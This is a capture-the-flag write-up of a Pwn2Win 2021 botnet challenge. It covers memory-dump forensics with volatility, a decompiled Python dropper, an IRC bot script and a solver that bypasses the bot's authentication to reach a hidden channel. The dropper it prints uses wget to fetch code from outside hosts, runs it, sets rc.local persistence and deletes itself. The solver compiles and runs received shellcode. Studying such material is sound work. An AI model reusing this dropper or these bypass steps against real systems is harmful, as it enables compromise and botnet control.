Rating: 4.8

# Botnet - The Final Bypass
> rafael_p (aka rafaeleeto) works as Principal Hacker Engineer in a topsecret hacking division of the Government of Rhiza, called HARPA (Highly Advanced Research Projects Agency). Laura got access to a Botnet Project he is working on, called "Butcher Network". It is a "Bot Manager", a new concept in the context of Botnets, where a central bot controls all the others. It has several protection mechanisms, to prevent unauthorized access, including a very interesting dropper. We were able to get a dump of the machine that rafael_p uses for his tests. Your goal is to be able to extract the bot to try to understand its operation, connect to the network and bypass all its protections to pwn the instance of this bot that is running, to got access to its channel on C2. With that, we will get to know all the other administrators who are also involved in this project. This information will be very useful in the future.
## Analyzing the memory dump
In this challenge we were given a 2 GB memory dump of a virtual machine supposedly used for testing a botnet.

First thing that we had to do was to identify the OS that this memdump was taken from. After taking a quick look at the strings output it was pretty clear that this was taken from a FreeBSD install - very likely FreeBSD 12.1.
The next thing we tried to do was to throw it into volatility, but volatility doesn't support freebsd, so what do we do now?

We were able to find out that someone has made initial support for freebsd that was present on the [freebsd_support branch of volatility](https://github.com/volatilityfoundation/volatility/tree/freebsd_support), with available support the only thing we were lacking was a volatility profile. That was easy enough to do with the included tools and now we were able to look at the process list of the machine.

```
» volatility --profile=FreeBSD-12_1-RELEASE-GENERIC-amd64 -f ./lab-server-cbeba6db.vmem freebsd_psaux

Pid Name Pathname Arguments
941 python2.7 /usr/local/bin/python2.7 python2 crond
836 csh /bin/csh -csh
831 getty /usr/libexec/getty /usr/libexec/getty Pc ttyv7
830 getty /usr/libexec/getty /usr/libexec/getty Pc ttyv6
829 getty /usr/libexec/getty /usr/libexec/getty Pc ttyv5
828 getty /usr/libexec/getty /usr/libexec/getty Pc ttyv4
827 getty /usr/libexec/getty /usr/libexec/getty Pc ttyv3
826 getty /usr/libexec/getty /usr/libexec/getty Pc ttyv2
825 getty /usr/libexec/getty /usr/libexec/getty Pc ttyv1
824 login /usr/bin/login login [pam]
776 cron /usr/sbin/cron /usr/sbin/cron -s
772 sendmail /usr/libexec/sendmail/sendmail sendmail: Queue runner@00:30:00 for /var/spool/clientmqueue
769 sendmail /usr/libexec/sendmail/sendmail sendmail: accepting connections
740 sshd /usr/sbin/sshd /usr/sbin/sshd
539 syslogd /usr/sbin/syslogd /usr/sbin/syslogd -s
468 devd /sbin/devd /sbin/devd
424 dhclient /sbin/dhclient dhclient: em0
359 dhclient /sbin/dhclient dhclient: em0 [priv]
356 dhclient /sbin/dhclient dhclient: system.syslog
22 syncer
21 vnlru
20 bufdaemon
19 vmdaemon
18 pagedaemon
17 soaiod4
16 soaiod3
9 soaiod2
8 soaiod1
7 rand_harvestq
6 sctp_iterator
15 usb
5 mpt_recovery0
4 cam
14 sequencer 00
3 crypto returns 0
2 crypto
13 geom
12 intr
11 idle
1 init /sbin/init /sbin/init --
10 audit
0 kernel
```

We could see that aside from normal looking processes there was one suspicious looking python2 process that ran a file called `crond`.

Sadly the freebsd plugin did not have any process dumping features so we resorted to grepping the file for any mentions of `crond` and filtering the results further.

After few different searches we stumbled upon a line in the strings that ran wget on a http url that had the same name as the original file ran with python2.
```
crond.pyt
createRC
wget -O /etc/X11/.crond http://harpa.world/binaries/crond(
crond.pyt
saveDropper
```

## Analyzing the dropper
The file located on the server turned out to be python 2.7 bytecode, after decompiling it we were left with this:
```py
import socket, time, os, random
SERVER = 'distribute.epicmilk.com'
MESSAGE = ''

def wait():
time.sleep(0.5)

def finish():
os.system('rm crond')

def addtoRC():
os.system("echo 'python2 /etc/X11/.crond' >> /etc/rc.local")
wait()
os.system("echo 'exit 0' >> /etc/rc.local")

def createRC():
os.system("echo '#!/bin/sh -e' > /etc/rc.local")
wait()
os.system('chmod +x /etc/rc.local')

def saveDropper():
os.system('wget -O /etc/X11/.crond http://harpa.world/binaries/crond')

def downloadMalware(hash):
os.system('wget -O /etc/X11/.backbone http://butcher.1337.cx/proj/' + hash + '/master/backbone')
# 726fd5a10983ebc4a76cd32108b594fe http://butcher.1337.cx/proj/726fd5a10983ebc4a76cd32108b594fe/master/backbone

def executeMalware():
number = random.choice(range(0, 101))
os.system("python2 /etc/X11/.backbone irc.teleforce.space 1 '#' Backbone" + str(number) + " 'Butcher Botnet Manager' 0 skyn &")
wait()
os.system('rm /etc/X11/.backbone')

def checkPersistence():
if os.path.isfile('/etc/rc.local'):
rc = open('/etc/rc.local').read()
if '/etc/X11' not in rc:
if os.path.isfile('/etc/X11/.crond'):
os.system("sed -i '$d' /etc/rc.local")
addtoRC()
else:
saveDropper()
os.system("sed -i '$d' /etc/rc.local")
addtoRC()
if not os.path.isfile('/etc/X11/.crond'):
saveDropper()
else:
createRC()
if os.path.isfile('/etc/X11/.crond'):
addtoRC()
else:
saveDropper()
addtoRC()

def knockPorts(port1, port2, port3):
SOCK = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
server = socket.gethostbyname(SERVER)
print 'Knocking: %s %s %s' % (port1, port2, port3)
SOCK.sendto(MESSAGE, (server, port1))
wait()
SOCK.sendto(MESSAGE, (server, port2))
wait()
SOCK.sendto(MESSAGE, (server, port3))
wait()
SOCK.close()

def getHash():
try:
PAYLOAD = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
PAYLOAD.bind(('0.0.0.0', 1337))
PAYLOAD.settimeout(5)
PAYLOAD.listen(1)
conn, addr = PAYLOAD.accept()
data = conn.recv(1024).decode('ascii')
PAYLOAD.close()
return data
except:
pass

knockPorts(1332, 1331, 1337)
hash = getHash()
downloadMalware(hash)
executeMalware()
checkPersistence()
finish()
```

The program seems to be the "interesting dropper" mentioned in the task description, it knocks on some ports on a server which results in the server giving it a unique hash which can then be used to download `backbone.py`.
The file is then ran with some additional arguments and the program cleans up.

To get the so called hash required to download the backbone script the actions had to be performed on a server that the remote server could directly connect to, so we could receive the hash value directly.

## Analyzing the botnet script
We fetched the backbone script and started analyzing it:
```py
#!/usr/bin/python
# -*- coding: utf-8 -*-

import socket
import sys
import time
import subprocess
import random
from manager import *
from attacks import *

class Bot(object):

servidor = str()
porta = int()
canal = str()
nickname = str()
realname = str()
hostname = str()
ident = str()

def __init__(self, servidor, porta, canal, nickname, realname, hostname, ident, prefer_ipv6=0):

if prefer_ipv6:
if servidor.split(":")[0].isdigit():
self.servidor = servidor
ipv6 = 1
else:
try:
self.servidor = socket.getaddrinfo(servidor, None, socket.AF_INET6)[0][4][0]
ipv6 = 1
except:
self.servidor = socket.gethostbyname(servidor)
ipv6 = 0
else:
if servidor.split(".")[0].isdigit():
self.servidor = servidor
ipv6 = 0
else:
self.servidor = socket.gethostbyname(servidor)
ipv6 = 0

self.porta = porta
self.canal = canal
self.nickname = nickname
self.realname = realname
self.hostname = hostname
self.ident = ident
self.authorized = {}
self.temp = {}
self.connect(ipv6)
self.interage()

def send_data(self, comando):
self.IRC.send(comando + '\n')

def readbuffer(self):
buffer = self.IRC.recv(1337)
return buffer

def ping(self):
self.send_data("PONG :Pong")

def join(self, canal):
self.send_data("JOIN " + canal)

def badcommand(self, nick):
self.send_data("PRIVMSG " + nick + " :Bad command!")

def join(self, canal):
self.send_data("JOIN " + canal)

def stage1(self, buffer):
try:
if "rafael_p" in buffer.split("!")[0] and "rafaeleet0" in buffer.split("!")[1].split("@")[0]:
if "".join((buffer.split()[0].split("!")[1].split("@")[1].split(".")[-4]) + buffer.split()[0].split("!")[1].split("@")[1].split(".")[-1] + "." + buffer.split()[0].split("!")[1].split("@")[1].split(".")[-2]).encode("hex") == "696e7465726e616c6d6f6e737465722e62757463686572":
return 1
else:
return 0
else:
return 0
except:
return 0

def stage2(self, buffer):
self.IRC.settimeout(2)
try:
self.send_data("PRIVMSG " + buffer.split("!")[0].replace(":","") + " :\001WHO\001")
buffer = self.readbuffer()
if buffer.split()[1] == "NOTICE" and buffer.split()[3].replace(":","") == "\001YourMasterModaFucka\001":
self.send_data("PRIVMSG " + buffer.split("!")[0].replace(":","") + " :Passwd?")
buffer = self.readbuffer()
if buffer.split()[3].replace(":","") == "/FuCkR3b3ll10us":
self.stage3(buffer)
else: raise Exception()
else: raise Exception()
except:
self.send_data("PRIVMSG " + buffer.split("!")[0].replace(":","") + " :Stage2 fail: https://www.youtube.com/watch?v=ZZ5LpwO-An4 ;) HEY YEY AAEY AAAE YAEYAA")
self.interage()

def stage3(self, buffer):
self.IRC.settimeout(2)
try:
opcodes1, opcodes2, resshellcode = shellcode(buffer.split("!")[0].replace(":",""))
self.send_data("PRIVMSG " + buffer.split("!")[0].replace(":","") + " :" + opcodes1)
self.send_data("PRIVMSG " + buffer.split("!")[0].replace(":","") + " :" + opcodes2)
buffer = self.readbuffer()
if buffer.split()[3].replace(":","") == resshellcode:
self.send_data("PRIVMSG " + buffer.split("!")[0].replace(":","") + " :Authenticated! Have fun Master!")
self.authorized[buffer.split("!")[0].replace(":","")] = time.time()
self.interage()
else: raise Exception()
except:
self.send_data("PRIVMSG " + buffer.split("!")[0].replace(":","") + " :Stage3 fail: https://www.youtube.com/watch?v=cwhLueAWItA ;) turulululu ah ah ah!")
self.interage()

def connect(self, ipv6):

if ipv6: self.IRC = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
else: self.IRC = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

self.IRC.connect((self.servidor, self.porta))
self.send_data("NICK " + self.nickname)
self.send_data("USER %s %s %s :%s" % (self.ident, self.hostname, self.servidor, self.realname))

bufn = 0
buft = 0
buftmp = []

while True:

if bufn == buft:
buftmp = self.readbuffer()
buft = len(buftmp.split("\r\n"))-1
bufn = 0
else:
bufn += 1

buffer = buftmp.split("\r\n")[bufn]

if "PING" in buffer.strip("\r\n"):
resposta = buffer.split()[1].replace(":", "")
self.send_data("PONG :" + resposta)

if "MODE " + self.nickname + " :+i" in buffer:
self.join(self.canal)
break

def interage(self):

self.IRC.settimeout(None)

while True:

buffer = self.readbuffer()

if "PING" in buffer:
self.ping()

if "/@" in buffer:
tempotmp = time.time()
if self.temp.has_key(buffer.split()[3].replace(":","")):
if self.temp[buffer.split()[3].replace(":","")][2] == buffer.split("!")[0].replace(":",""):
if (tempotmp - self.temp[buffer.split()[3].replace(":","")][0]) > 120:
del self.temp[buffer.split()[3].replace(":","")]
self.send_data("PRIVMSG " + buffer.split("!")[0].replace(":","") + " :Expired, add again!")
else:
cmd = self.temp[buffer.split()[3].replace(":","")][1].split()[0]
args = " ".join(buffer.split()[4:])
self.send_data(cmd + " " + args)

if "PRIVMSG" in buffer and "!abracadabra" in buffer:
identity = self.stage1(buffer)
if identity:
self.stage2(buffer)
else:
self.send_data("PRIVMSG " + buffer.split("!")[0].replace(":","") + " :Stage1 fail: https://www.youtube.com/watch?v=2Z4m4lnjxkY ;) trolololo lololo lololo")

if "!cmd" in buffer:
if buffer.split("!")[0].replace(":","") in self.authorized:
tempocmd = time.time()
if (tempocmd - self.authorized[buffer.split("!")[0].replace(":","")]) > 300:
del self.authorized[buffer.split("!")[0].replace(":","")]
self.send_data("PRIVMSG " + buffer.split("!")[0].replace(":","") + " :Expired, authenticate again!")
else:
if buffer.split()[4] == "host":
host = buffer.strip("\r\n").split()[5]
try:
result = subprocess.check_output(["host", host])
for linha in result.split("\n"):
self.send_data("PRIVMSG " + buffer.split("!")[0].replace(":","") + " :" + linha)
time.sleep(0.5)

except:
self.badcommand(buffer.split("!")[0].replace(":",""))

elif buffer.split()[4] == "ping":
host = buffer.strip("\r\n").split()[5]
try:
result = subprocess.check_output(["ping", "-c", "3", host])
for linha in result.split("\n"):
self.send_data("PRIVMSG " + buffer.split("!")[0].replace(":","") + " :" + linha)
time.sleep(0.5)
except:
self.badcommand(buffer.split("!")[0].replace(":",""))

elif buffer.split()[4] == "join":
canal = buffer.strip("\r\n").split()[5]
self.join(canal)

elif buffer.split()[4] == "tmp":
cmd = buffer.split()[5]
arg = buffer.split()[6]
alias = buffer.split()[7]

if buffer.split()[7][0:2] != "/@":
self.badcommand(buffer.split("!")[0].replace(":",""))
self.interage()

if self.temp.has_key(alias):
self.badcommand(buffer.split("!")[0].replace(":",""))
self.interage()

if arg <> "#channel" and arg <> "nickname":
self.badcommand(buffer.split("!")[0].replace(":",""))
self.interage()

if filter(cmd):
command = "".join(buffer.split()[5] + " " + buffer.split()[6] + " " + buffer.split()[7])
self.temp[alias] = [time.time(), command, buffer.split("!")[0].replace(":","")]

else:
self.badcommand(buffer.split("!")[0].replace(":",""))

else:
self.badcommand(buffer.split("!")[0].replace(":",""))

else:
self.send_data("PRIVMSG " + buffer.split("!")[0].replace(":","") + " :Authenticate!")

MeuBot = Bot(sys.argv[1], int(sys.argv[2]), sys.argv[3], sys.argv[4], sys.argv[5], int(sys.argv[6]), sys.argv[7])
```

The bot seems to accept the passed cmd arguments and connects to an IRC server.
```
irc.teleforce.space 1 '#' BackboneXX 'Butcher Botnet Manager' 0 skyn
```
The first two are the hostname and port of the IRC server used for comms, third one is the name of the channel that the bot should try to join, fourth one is the nickname, fifth one is the realname, sixth is hostname and lastly seventh is the identity.

After connecting to the server, it listens for any messages from the IRC server and parses them accordingly to the if statements:
- if the server ping - pongs the server back
- if it gets a private message with `!abracadabra` in it it starts the authentication process
- if it finds a `!cmd` in the message it checks if the user has authenticated and if so, parses the command
- if it finds a `/@` it checks if the user is authenticated and tries to execute an alias bound to that command

So we have to somehow authenticate ourselves with the bot.

The irc server the bot connected to contained multiple users, including multiple bots but only few were ran by the organizers.
The first two stages could be tried on any bot that connected to the network but the 3rd one could only be obtained from the legit bots since user-run ones did not have access to some functions. (Those turned out to be: Backbone91/Backbone94/Backbone97)

## Bypassing stage 1
First comes `stage1`:
```py
def stage1(self, buffer):
try:
if "rafael_p" in buffer.split("!")[0] and "rafaeleet0" in buffer.split("!")[1].split("@")[0]:
if "".join((buffer.split()[0].split("!")[1].split("@")[1].split(".")[-4]) + buffer.split()[0].split("!")[1].split("@")[1].split(".")[-1] + "." + buffer.split()[0].split("!")[1].split("@")[1].split(".")[-2]).encode("hex") == "696e7465726e616c6d6f6e737465722e62757463686572":
return 1
else:
return 0
else:
return 0
except:
return 0
```

After a bit of cleaning up the check looks as follows:
```py
def stage1(buffer):
username = buffer.split("!")[0]
nickname = buffer.split("!")[1].split("@")[0]
hostname = buffer.split()[0].split("!")[1].split("@")[1]

try:
if "rafael_p" in nickname and "rafaeleet0" in username:
tocheck = "".join((hostname.split(".")[-4]) + hostname.split(".")[-1] + "." + hostname.split(".")[-2])
# if tocheck.encode().hex() == "696e7465726e616c6d6f6e737465722e62757463686572":
if tocheck.encode('hex') == "696e7465726e616c6d6f6e737465722e62757463686572":
return 1
else:
return -3
else:
return -2
except Exception as e:
print(e)
return -1
```

It checks if our username contains `rafaeleet0`, if nickname contains `rafael_p` and if our hostname equals to `internalmonster.butcher` after a transformation.

The first two checks are fairly easy to beat, we just have to log into the IRC server with a username/nickname that contain those phrases and we're good to go.
The last check is tricky, it grabs the hostname of our user and transforms it in this manner:
```
?????.internal.?????.butcher.monster -> internalmonster.butcher
```
Which means we have to make our hostname on the IRC stick to that format. (the first question mark block is because of how the IRC server changes the hostname afterwards, it strips the first segment and puts some random characters instead of it. To prevent it from overwriting `internal` we put something there ourselves)
Because of the ways the IRC server verifies any user set hostnames it requires us to set both a PTR pointer for our IP and an `A` record that points back at us.

Thankfully the domain used here is one of the domains listed on afraid.org, a service offering free DNS hosting and free subdomains.

After registering an account, grabbing a subdomain that follows the format and pointing it back at our IP with an `A` record and set up a corresponding PTR record we were able to get past the first stage.

## Bypassing stage 2
```py
def stage2(self, buffer):
self.IRC.settimeout(2)
try:
self.send_data("PRIVMSG " + buffer.split("!")[0].replace(":","") + " :\001WHO\001")
buffer = self.readbuffer()
if buffer.split()[1] == "NOTICE" and buffer.split()[3].replace(":","") == "\001YourMasterModaFucka\001":
self.send_data("PRIVMSG " + buffer.split("!")[0].replace(":","") + " :Passwd?")
buffer = self.readbuffer()
if buffer.split()[3].replace(":","") == "/FuCkR3b3ll10us":
self.stage3(buffer)
else: raise Exception()
else: raise Exception()
except:
self.send_data("PRIVMSG " + buffer.split("!")[0].replace(":","") + " :Stage2 fail: https://www.youtube.com/watch?v=ZZ5LpwO-An4 ;) HEY YEY AAEY AAAE YAEYAA")
self.interage()
```
The second stage sends us a CTCP message `WHO` that we have to reply to with a NOTICE CTCP message, then it proceeds to ask us for a password which is very nicely provided for us.

## Bypassing stage 3
```py
def stage3(self, buffer):
self.IRC.settimeout(2)
try:
opcodes1, opcodes2, resshellcode = shellcode(buffer.split("!")[0].replace(":",""))
self.send_data("PRIVMSG " + buffer.split("!")[0].replace(":","") + " :" + opcodes1)
self.send_data("PRIVMSG " + buffer.split("!")[0].replace(":","") + " :" + opcodes2)
buffer = self.readbuffer()
if buffer.split()[3].replace(":","") == resshellcode:
self.send_data("PRIVMSG " + buffer.split("!")[0].replace(":","") + " :Authenticated! Have fun Master!")
self.authorized[buffer.split("!")[0].replace(":","")] = time.time()
self.interage()
else: raise Exception()
except:
self.send_data("PRIVMSG " + buffer.split("!")[0].replace(":","") + " :Stage3 fail: https://www.youtube.com/watch?v=cwhLueAWItA ;) turulululu ah ah ah!")
self.interage()
```
This stage generated some shellcode, sent it over and checked if the result was correct.

The shellcode sent from the bot turned out to be x86-64 shellcode that generates a random string.
We were able to just wrap the shellcode in a small c program to get the output and pass it back to the bot.

After this, we were successfully authenticated and could execute commands.

## Crafting a payload for the bot
The bot seemed to accept several commands with `!cmd`:
- `host` which would just resolve a hostname for a given IP
- `ping` which would just ping the address
- `join` pretty clear what it did
- `tmp` which seemed to do some parsing and set a value in `self.temp`

By analyzing the handler for the `/@` case, it seemed to check for a given entry in `self.temp` and if everything was correct, it would send the commands straight to the bot's socket allowing us to run IRC commands as the bot if successfully executed.

To first set the "alias" we had to follow the format which seemed to be:
```
!cmd tmp <IRC COMMAND> argument(either #channel or nickname) alias(had to be /@something)
```

Because we wanted to get into the `#` channel, the target command we would want to run would be `INVITE username #`
The alias set command looked like this: `!cmd tmp INVITE nickname /@sz`

After setting the alias we now had to execute it:
```py
if "/@" in buffer:
tempotmp = time.time()
if self.temp.has_key(buffer.split()[3].replace(":","")):
if self.temp[buffer.split()[3].replace(":","")][2] == buffer.split("!")[0].replace(":",""):
if (tempotmp - self.temp[buffer.split()[3].replace(":","")][0]) > 120:
del self.temp[buffer.split()[3].replace(":","")]
self.send_data("PRIVMSG " + buffer.split("!")[0].replace(":","") + " :Expired, add again!")
else:
cmd = self.temp[buffer.split()[3].replace(":","")][1].split()[0]
args = " ".join(buffer.split()[4:])
self.send_data(cmd + " " + args)
```

This code block checked for "alias expiry time" and if everything was fine, it ran the saved command with our passed arguments.
The trigger was simply `/@sz szymex73 # aa aa` (The aa's were added here because of some parsing problems we had).

With the payload successfully executed we were given and invite to the secret `#` channel and could now see the admin list.
![user list](userlist.png)
> `CTF-BR{deadcow,kubben,marmota,rafael_p,sputnick}`

## Full script
My full solver script below:
```py
from pwn import *
import os

recpt = "Backbone94" # Backbone91/Backbone94/Backbone97 - hosted by organizers
sock = remote('irc.teleforce.space', 1)

sock.sendline('NICK rafael_p0 rafael_p')
sock.sendline('USER rafaeleet0s rafaeleet0s irc.teleforce.space :rafaeleet0s')

cc_template = """
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>

unsigned char code[] = (
"SHELLCODE_HERE"
);

int main(){
int r = mprotect((void *)((int)code & ~4095), 4096, PROT_READ | PROT_WRITE|PROT_EXEC);
int (*ret)() = (int(*)())code;
return ret();
}

"""

def sc_compile(shellcode):
code = cc_template.replace('SHELLCODE_HERE', shellcode)
os.system('rm -f temp.c temp temp_out')
f = open('./temp.c', 'w')
f.write(code)
f.close()
os.system('gcc temp.c -fno-stack-protector -z execstack -no-pie -o temp')
os.system('./temp 0>temp_out')
rand_code = open('./temp_out', 'r').read()
os.system('rm -f temp.c temp temp_out')
return rand_code

bufn = 0
buft = 0
buftmp = []

while True:
if bufn == buft:
buftmp = sock.recv(1337)
buft = len(buftmp.split(b"\r\n"))-1
bufn = 0
else:
bufn += 1

buffer = buftmp.split(b"\r\n")[bufn]

if b"PING" in buffer.strip(b"\r\n"):
resposta = buffer.split()[1].replace(b":", b"")
sock.sendline(b"PONG :" + resposta)

if b"MODE" in buffer and b" :+i" in buffer:
break

sock.recv(1337)
sock.sendline(b'PRIVMSG ' + recpt.encode() + b' :!abracadabra')
print(sock.recvuntil(b'WHO\001\r\n'))
sock.sendline(b'NOTICE ' + recpt.encode() + b' :\001YourMasterModaFucka\001')
print(sock.recvuntil(b'Passwd?\r\n'))
sock.sendline(b'PRIVMSG ' + recpt.encode() + b' :/FuCkR3b3ll10us')
sc1 = sock.recvuntil('\r\n').split(b':')[2][:-2]
sc2 = sock.recvuntil('\r\n').split(b':')[2][:-2]
print("Shellcode:")
shellcode = sc1.decode() + sc2.decode()
print(shellcode)
shellcode_result = sc_compile(shellcode)
sock.sendline(b'PRIVMSG ' + recpt.encode() + b' :' + shellcode_result.encode())
print(sock.recvuntil(b':Authenticated! Have fun Master!\r\n'))
sock.sendline(b'PRIVMSG ' + recpt.encode() + b' :!cmd tmp INVITE nickname /@sz')
sock.sendline(b'PRIVMSG ' + recpt.encode() + b' :/@sz szymex73 # aa aa')
sock.interactive()
```

Original writeup (https://github.com/justcatthefish/ctf-writeups/tree/master/2021-05-28-Pwn2Win/botnet-theFinalBypass).